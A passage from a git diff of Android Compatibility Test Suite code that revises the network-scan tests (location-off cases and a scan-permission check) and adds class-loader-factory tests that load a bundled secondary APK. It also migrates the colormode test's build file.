+            this.cellInfo = cellInfo;
+            notifyAll();
+        }
+
+        public synchronized void wait(int millis) throws InterruptedException {
+            if (cellInfo == null) {
+                super.wait(millis);
+            }
+        }
+    }
+
     private List<RadioAccessSpecifier> getRadioAccessSpecifier(List<CellInfo> allCellInfo) {
         List<RadioAccessSpecifier> radioAccessSpecifier = new ArrayList<>();
         List<Integer> lteChannels = new ArrayList<>();
@@ -226,7 +268,39 @@
      * Tests that the device properly requests a network scan.
      */
     @Test
-    public void testRequestNetworkScan() throws InterruptedException {
+    public void testRequestNetworkScan() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            // Checks whether the cellular stack should be running on this device.
+            Log.e(TAG, "No cellular support, the test will be skipped.");
+            return;
+        }
+        if (!mTelephonyManager.hasCarrierPrivileges()) {
+            fail("This test requires a SIM card with carrier privilege rule on it.");
+        }
+        mNetworkScanRequest = buildNetworkScanRequest(true);
+        mNetworkScanCallback = new NetworkScanCallbackImpl();
+        Message startNetworkScan = mHandler.obtainMessage(EVENT_NETWORK_SCAN_START);
+        setReady(false);
+        startNetworkScan.sendToTarget();
+        waitUntilReady();
+
+        Log.d(TAG, "mNetworkScanStatus: " + mNetworkScanStatus);
+        assertTrue("The final scan status is not ScanCompleted or ScanError with an error "
+                        + "code ERROR_MODEM_UNAVAILABLE or ERROR_UNSUPPORTED",
+                isScanStatusValid());
+    }
+
+    @Test
+    public void testRequestNetworkScanLocationOffPass() {
+        requestNetworkScanLocationOffHelper(false);
+    }
+
+    @Test
+    public void testRequestNetworkScanLocationOffFail() {
+        requestNetworkScanLocationOffHelper(true);
+    }
+
+    public void requestNetworkScanLocationOffHelper(boolean includeBandsAndChannels) {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             // Checks whether the cellular stack should be running on this device.
             Log.e(TAG, "No cellular support, the test will be skipped.");
@@ -236,17 +310,46 @@
             fail("This test requires a SIM card with carrier privilege rule on it.");
         }
 
-        // Make sure that there should be at least one entry.
-        List<CellInfo> allCellInfo = mTelephonyManager.getAllCellInfo();
-        if (allCellInfo == null) {
-            fail("TelephonyManager.getAllCellInfo() returned NULL!");
+        mNetworkScanRequest = buildNetworkScanRequest(includeBandsAndChannels);
+
+        boolean isLocationSwitchOn = getAndSetLocationSwitch(false);
+        try {
+            mNetworkScanCallback = new NetworkScanCallbackImpl();
+            Message startNetworkScan = mHandler.obtainMessage(EVENT_NETWORK_SCAN_START);
+            setReady(false);
+            startNetworkScan.sendToTarget();
+            waitUntilReady();
+            if (includeBandsAndChannels) {
+                // If we included the bands when location is off, expect a security error and
+                // nothing else.
+                assertEquals(EVENT_SCAN_DENIED, mNetworkScanStatus);
+                return;
+            }
+
+            Log.d(TAG, "mNetworkScanStatus: " + mNetworkScanStatus);
+            assertTrue("The final scan status is not ScanCompleted or ScanError with an error "
+                            + "code ERROR_MODEM_UNAVAILABLE or ERROR_UNSUPPORTED",
+                    isScanStatusValid());
+        } finally {
+            getAndSetLocationSwitch(isLocationSwitchOn);
         }
-        if (allCellInfo.size() == 0) {
-            fail("TelephonyManager.getAllCellInfo() returned zero-length list!");
+    }
+
+    private NetworkScanRequest buildNetworkScanRequest(boolean includeBandsAndChannels) {
+        // Make sure that there should be at least one entry.
+        List<CellInfo> allCellInfo = getCellInfo();
+        List<RadioAccessSpecifier> radioAccessSpecifier = new ArrayList<>();
+
+        if (allCellInfo != null && allCellInfo.size() != 0) {
+            // Construct a NetworkScanRequest
+            radioAccessSpecifier = getRadioAccessSpecifier(allCellInfo);
+            if (!includeBandsAndChannels) {
+                radioAccessSpecifier = radioAccessSpecifier.stream().map(spec ->
+                    new RadioAccessSpecifier(spec.getRadioAccessNetwork(), null, null))
+                    .collect(Collectors.toList());
+            }
         }
 
-        // Construct a NetworkScanRequest
-        List<RadioAccessSpecifier> radioAccessSpecifier = getRadioAccessSpecifier(allCellInfo);
         Log.d(TAG, "number of radioAccessSpecifier: " + radioAccessSpecifier.size());
         if (radioAccessSpecifier.isEmpty()) {
             RadioAccessSpecifier gsm = new RadioAccessSpecifier(
@@ -267,7 +370,7 @@
         }
         RadioAccessSpecifier[] radioAccessSpecifierArray =
                 new RadioAccessSpecifier[radioAccessSpecifier.size()];
-        mNetworkScanRequest = new NetworkScanRequest(
+        return new NetworkScanRequest(
                 NetworkScanRequest.SCAN_TYPE_ONE_SHOT /* scan type */,
                 radioAccessSpecifier.toArray(radioAccessSpecifierArray),
                 5 /* search periodicity */,
@@ -276,16 +379,65 @@
                 5 /* incremental results periodicity */,
                 null /* List of PLMN ids (MCC-MNC) */);
 
-        mNetworkScanCallback = new NetworkScanCallbackImpl();
-        Message startNetworkScan = mHandler.obtainMessage(EVENT_NETWORK_SCAN_START);
-        setReady(false);
-        startNetworkScan.sendToTarget();
-        waitUntilReady();
+    }
 
-        Log.d(TAG, "mNetworkScanStatus: " + mNetworkScanStatus);
-        assertTrue("The final scan status is not ScanCompleted or ScanError with an error "
-                        + "code ERROR_MODEM_UNAVAILABLE or ERROR_UNSUPPORTED",
-                isScanStatusValid());
+    private List<CellInfo> getCellInfo() {
+        CellInfoResultsCallback resultsCallback = new CellInfoResultsCallback();
+        mTelephonyManager.requestCellInfoUpdate(r -> r.run(), resultsCallback);
+        try {
+            resultsCallback.wait(MAX_CELLINFO_WAIT_MILLIS);
+        } catch (InterruptedException ex) {
+            fail("CellInfoCallback was interrupted: " + ex);
+        }
+        return resultsCallback.cellInfo;
+    }
+
+    @Test
+    public void testNetworkScanPermission() {
+        PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+
+        List<Integer> specialUids = Arrays.asList(Process.SYSTEM_UID,
+                Process.PHONE_UID, Process.SHELL_UID);
+
+        List<PackageInfo> holding = pm.getPackagesHoldingPermissions(
+                new String[] { NETWORK_SCAN_PERMISSION },
+                PackageManager.MATCH_DISABLED_COMPONENTS);
+
+        List<Integer> nonSpecialPackages = holding.stream()
+                .map(pi -> {
+                    try {
+                        return pm.getPackageUid(pi.packageName, 0);
+                    } catch (PackageManager.NameNotFoundException e) {
+                        return Process.INVALID_UID;
+                    }
+                })
+                .filter(uid -> !specialUids.contains(uid))
+                .collect(Collectors.toList());
+
+        if (nonSpecialPackages.size() > 1) {
+            fail("Only one app on the device is allowed to hold the NETWORK_SCAN permission.");
+        }
+    }
+
+    private boolean getAndSetLocationSwitch(boolean enabled) {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity();
+        try {
+            int oldLocationMode = Settings.Secure.getInt(
+                    InstrumentationRegistry.getContext().getContentResolver(),
+                    Settings.Secure.LOCATION_MODE, Settings.Secure.LOCATION_MODE_OFF);
+
+            int locationMode = enabled ? Settings.Secure.LOCATION_MODE_HIGH_ACCURACY
+                    : Settings.Secure.LOCATION_MODE_OFF;
+            if (locationMode != oldLocationMode) {
+                Settings.Secure.putInt(InstrumentationRegistry.getContext().getContentResolver(),
+                        Settings.Secure.LOCATION_MODE, locationMode);
+            }
+            return oldLocationMode == Settings.Secure.LOCATION_MODE_HIGH_ACCURACY;
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
+        }
     }
 
     private boolean isScanStatusValid() {
@@ -435,6 +587,5 @@
         p.setDataPosition(0);
         NetworkScanRequest newnsr = NetworkScanRequest.CREATOR.createFromParcel(p);
         assertTrue(networkScanRequest.equals(newnsr));
-
     }
 }
diff --git a/tests/tests/classloaderfactory/Android.bp b/tests/tests/classloaderfactory/Android.bp
new file mode 100644
index 0000000..d920635
--- /dev/null
+++ b/tests/tests/classloaderfactory/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "ClassLoaderFactoryTestSecondary",
+    srcs: [ "src-ex/**/*.java" ],
+    manifest: "src-ex/AndroidManifest.xml",
+}
+
+filegroup {
+    name: "cts-classloaderfactorytest-srcs",
+    srcs: [ "src/**/*.java" ],
+}
+
+java_defaults {
+    name: "cts_classloaderfactorytest_defaults",
+    static_libs: [
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+        "junit",
+    ],
+    java_resources: [ ":ClassLoaderFactoryTestSecondary" ],
+    sdk_version: "test_current",
+}
\ No newline at end of file
diff --git a/tests/tests/classloaderfactory/src-ex/AndroidManifest.xml b/tests/tests/classloaderfactory/src-ex/AndroidManifest.xml
new file mode 100644
index 0000000..2d497ed
--- /dev/null
+++ b/tests/tests/classloaderfactory/src-ex/AndroidManifest.xml
@@ -0,0 +1,22 @@
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.app.classloaderfactory.cts"
+          android:versionCode="1"
+          android:versionName="1.0" >
+    <uses-sdk android:minSdkVersion="29" />
+    <application />
+</manifest>
diff --git a/tests/tests/classloaderfactory/src-ex/android/app/classloaderfactory/cts/MyActivity.java b/tests/tests/classloaderfactory/src-ex/android/app/classloaderfactory/cts/MyActivity.java
new file mode 100644
index 0000000..108e933
--- /dev/null
+++ b/tests/tests/classloaderfactory/src-ex/android/app/classloaderfactory/cts/MyActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+
+package android.app.classloaderfactory.cts;
+
+import android.app.Activity;
+
+public class MyActivity extends Activity {
+}
diff --git a/tests/tests/classloaderfactory/src-ex/android/app/classloaderfactory/cts/MyApplication.java b/tests/tests/classloaderfactory/src-ex/android/app/classloaderfactory/cts/MyApplication.java
new file mode 100644
index 0000000..1ca2593
--- /dev/null
+++ b/tests/tests/classloaderfactory/src-ex/android/app/classloaderfactory/cts/MyApplication.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+
+package android.app.classloaderfactory.cts;
+
+import android.app.Application;
+
+public class MyApplication extends Application {
+}
diff --git a/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/AppComponentFactoryTest.java b/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/AppComponentFactoryTest.java
new file mode 100644
index 0000000..e70497b
--- /dev/null
+++ b/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/AppComponentFactoryTest.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+
+package android.app.classloaderfactory.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ApplicationInfo;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class AppComponentFactoryTest {
+    private static final String SECONDARY_APK_RESOURCE = "ClassLoaderFactoryTestSecondary.apk";
+    private static final String CLASS_PACKAGE_NAME =
+            AppComponentFactoryTest.class.getPackage().getName();
+
+    static File writeSecondaryApkToDisk(ApplicationInfo aInfo) throws Exception {
+        File outFile = File.createTempFile(AppComponentFactoryTest.class.getSimpleName(), ".apk",
+                new File(aInfo.dataDir));
+
+        InputStream is = AppComponentFactoryTest.class.getClassLoader().getResourceAsStream(
+                SECONDARY_APK_RESOURCE);
+        FileOutputStream os = new FileOutputStream(outFile);
+        final byte[] buffer = new byte[4096];
+        int n;
+        while ((n = is.read(buffer)) >= 0) {
+            os.write(buffer, 0, n);
+        }
+        os.close();
+
+        return outFile;
+    }
+
+    private final Context mContext = InstrumentationRegistry.getContext();
+
+    @Test
+    public void testApplication() {
+        // Test that application context is MyApplication class from the secondary APK.
+        // The assertion fails if framework did not use the custom class loader.
+        assertEquals(mContext.getApplicationContext().getClass().getName(),
+                CLASS_PACKAGE_NAME + ".MyApplication");
+        assertNotEquals(mContext.getApplicationContext().getClass().getClassLoader(),
+                AppComponentFactoryTest.class.getClassLoader());
+    }
+
+    @Test
+    public void testActivity() {
+        // Start MyActivity from the secondary APK. This will throw ActivityNotFoundException
+        // if framework does not use the custom class loader.
+        mContext.startActivity(new Intent()
+                .setComponent(new ComponentName(mContext.getPackageName(),
+                        CLASS_PACKAGE_NAME + ".MyActivity"))
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+    }
+}
diff --git a/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/InMemoryDexClassLoaderFactory.java b/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/InMemoryDexClassLoaderFactory.java
new file mode 100644
index 0000000..d255ce2
--- /dev/null
+++ b/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/InMemoryDexClassLoaderFactory.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+
+package android.app.classloaderfactory.cts;
+
+import android.app.AppComponentFactory;
+import android.content.pm.ApplicationInfo;
+import dalvik.system.InMemoryDexClassLoader;
+import java.io.InputStream;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipFile;
+
+// AppComponentFactory which sets up InMemoryDexClassLoader as the main class
+// loader of the process.
+public class InMemoryDexClassLoaderFactory extends AppComponentFactory {
+    @Override
+    public ClassLoader instantiateClassLoader(ClassLoader defaultCL, ApplicationInfo aInfo) {
+        try {
+            // InMemoryDexClassLoader will not load a zip file. Must extract
+            // dex files into ByteBuffers.
+            ZipFile zipFile = new ZipFile(AppComponentFactoryTest.writeSecondaryApkToDisk(aInfo));
+
+            ArrayList<ByteBuffer> dexFiles = new ArrayList<>();
+            for (int dexId = 0;; dexId++) {
+                String zipEntryName = "classes" + (dexId == 0 ? "" : dexId) + ".dex";
+                ZipEntry zipEntry = zipFile.getEntry(zipEntryName);
+                if (zipEntry == null) {
+                    break;
+                }
+
+                final int zipEntrySize = (int) zipEntry.getSize();
+                ByteBuffer buf = ByteBuffer.allocate(zipEntrySize);
+                InputStream zipIS = zipFile.getInputStream(zipEntry);
+
+                for (int pos = 0; pos < zipEntrySize;) {
+                    int res = zipIS.read(buf.array(), pos, zipEntrySize);
+                    if (res < 0) {
+                      throw new IllegalStateException("Stream is closed");
+                    }
+                    pos += res;
+                    if (pos > zipEntrySize) {
+                      throw new IllegalStateException("Buffer overflow");
+                    }
+                }
+
+                dexFiles.add(buf);
+            }
+
+            ByteBuffer[] dexFilesArray = new ByteBuffer[dexFiles.size()];
+            dexFiles.toArray(dexFilesArray);
+
+            // Construct InMemoryDexClassLoader, make it a child of the default
+            // class loader.
+            return new InMemoryDexClassLoader(dexFilesArray, defaultCL);
+        } catch (Exception ex) {
+            throw new RuntimeException(ex);
+        }
+    }
+}
diff --git a/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/PathClassLoaderFactory.java b/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/PathClassLoaderFactory.java
new file mode 100644
index 0000000..867588b
--- /dev/null
+++ b/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/PathClassLoaderFactory.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+
+package android.app.classloaderfactory.cts;
+
+import android.app.AppComponentFactory;
+import android.content.pm.ApplicationInfo;
+import dalvik.system.PathClassLoader;
+import java.io.File;
+
+// AppComponentFactory which sets up PathClassLoader as the main class loader
+// of the process.
+public class PathClassLoaderFactory extends AppComponentFactory {
+    @Override
+    public ClassLoader instantiateClassLoader(ClassLoader defaultCL, ApplicationInfo aInfo) {
+        try {
+            File apkFile = AppComponentFactoryTest.writeSecondaryApkToDisk(aInfo);
+            return new PathClassLoader(apkFile.getAbsolutePath(), defaultCL);
+        } catch (Exception ex) {
+            throw new RuntimeException(ex);
+        }
+    }
+}
diff --git a/tests/tests/classloaderfactory/test-memcl/Android.bp b/tests/tests/classloaderfactory/test-memcl/Android.bp
new file mode 100644
index 0000000..8bdf322
--- /dev/null
+++ b/tests/tests/classloaderfactory/test-memcl/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsClassLoaderFactoryInMemoryDexClassLoaderTestCases",
+    defaults: [ "cts_classloaderfactorytest_defaults" ],
+    srcs: [ ":cts-classloaderfactorytest-srcs" ],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+}
diff --git a/tests/tests/classloaderfactory/test-memcl/AndroidManifest.xml b/tests/tests/classloaderfactory/test-memcl/AndroidManifest.xml
new file mode 100644
index 0000000..5478303
--- /dev/null
+++ b/tests/tests/classloaderfactory/test-memcl/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.app.classloaderfactory.memcl.cts">
+
+    <application
+        android:name="android.app.classloaderfactory.cts.MyApplication"
+        android:appComponentFactory="android.app.classloaderfactory.cts.InMemoryDexClassLoaderFactory">
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name="android.app.classloaderfactory.cts.MyActivity" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.app.classloaderfactory.memcl.cts"
+                     android:label="CTS tests of android.app">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml b/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml
new file mode 100644
index 0000000..4400ab5
--- /dev/null
+++ b/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Configuration for app Tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="misc" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsClassLoaderFactoryInMemoryDexClassLoaderTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.app.classloaderfactory.memcl.cts" />
+        <option name="runtime-hint" value="1s" />
+    </test>
+</configuration>
diff --git a/tests/tests/classloaderfactory/test-pathcl/Android.bp b/tests/tests/classloaderfactory/test-pathcl/Android.bp
new file mode 100644
index 0000000..924e298
--- /dev/null
+++ b/tests/tests/classloaderfactory/test-pathcl/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsClassLoaderFactoryPathClassLoaderTestCases",
+    defaults: [ "cts_classloaderfactorytest_defaults" ],
+    srcs: [ ":cts-classloaderfactorytest-srcs" ],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+}
diff --git a/tests/tests/classloaderfactory/test-pathcl/AndroidManifest.xml b/tests/tests/classloaderfactory/test-pathcl/AndroidManifest.xml
new file mode 100644
index 0000000..b2e8b75
--- /dev/null
+++ b/tests/tests/classloaderfactory/test-pathcl/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.app.componentfactory.pathcl.cts">
+
+    <application
+        android:name="android.app.classloaderfactory.cts.MyApplication"
+        android:appComponentFactory="android.app.classloaderfactory.cts.PathClassLoaderFactory">
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name="android.app.classloaderfactory.cts.MyActivity" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.app.componentfactory.pathcl.cts"
+                     android:label="CTS tests of android.app">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml b/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml
new file mode 100644
index 0000000..50c79ef
--- /dev/null
+++ b/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Configuration for app Tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="misc" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsClassLoaderFactoryPathClassLoaderTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.app.componentfactory.pathcl.cts" />
+        <option name="runtime-hint" value="1s" />
+    </test>
+</configuration>
diff --git a/tests/tests/colormode/Android.bp b/tests/tests/colormode/Android.bp
new file mode 100644
index 0000000..02268ed
--- /dev/null
+++ b/tests/tests/colormode/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2011 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsColorModeTestCases",
+    defaults: ["cts_defaults"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    static_libs: ["ctstestrunner-axt"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "current",
+}
diff --git a/tests/tests/colormode/Android.mk b/tests/tests/colormode/Android.mk
deleted file mode 100644
index 1bce247..0000000
--- a/tests/tests/colormode/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsColorModeTestCases
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/contactsproviderwipe/Android.bp b/tests/tests/contactsproviderwipe/Android.bp
new file mode 100644
index 0000000..e694239
--- /dev/null
+++ b/tests/tests/contactsproviderwipe/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
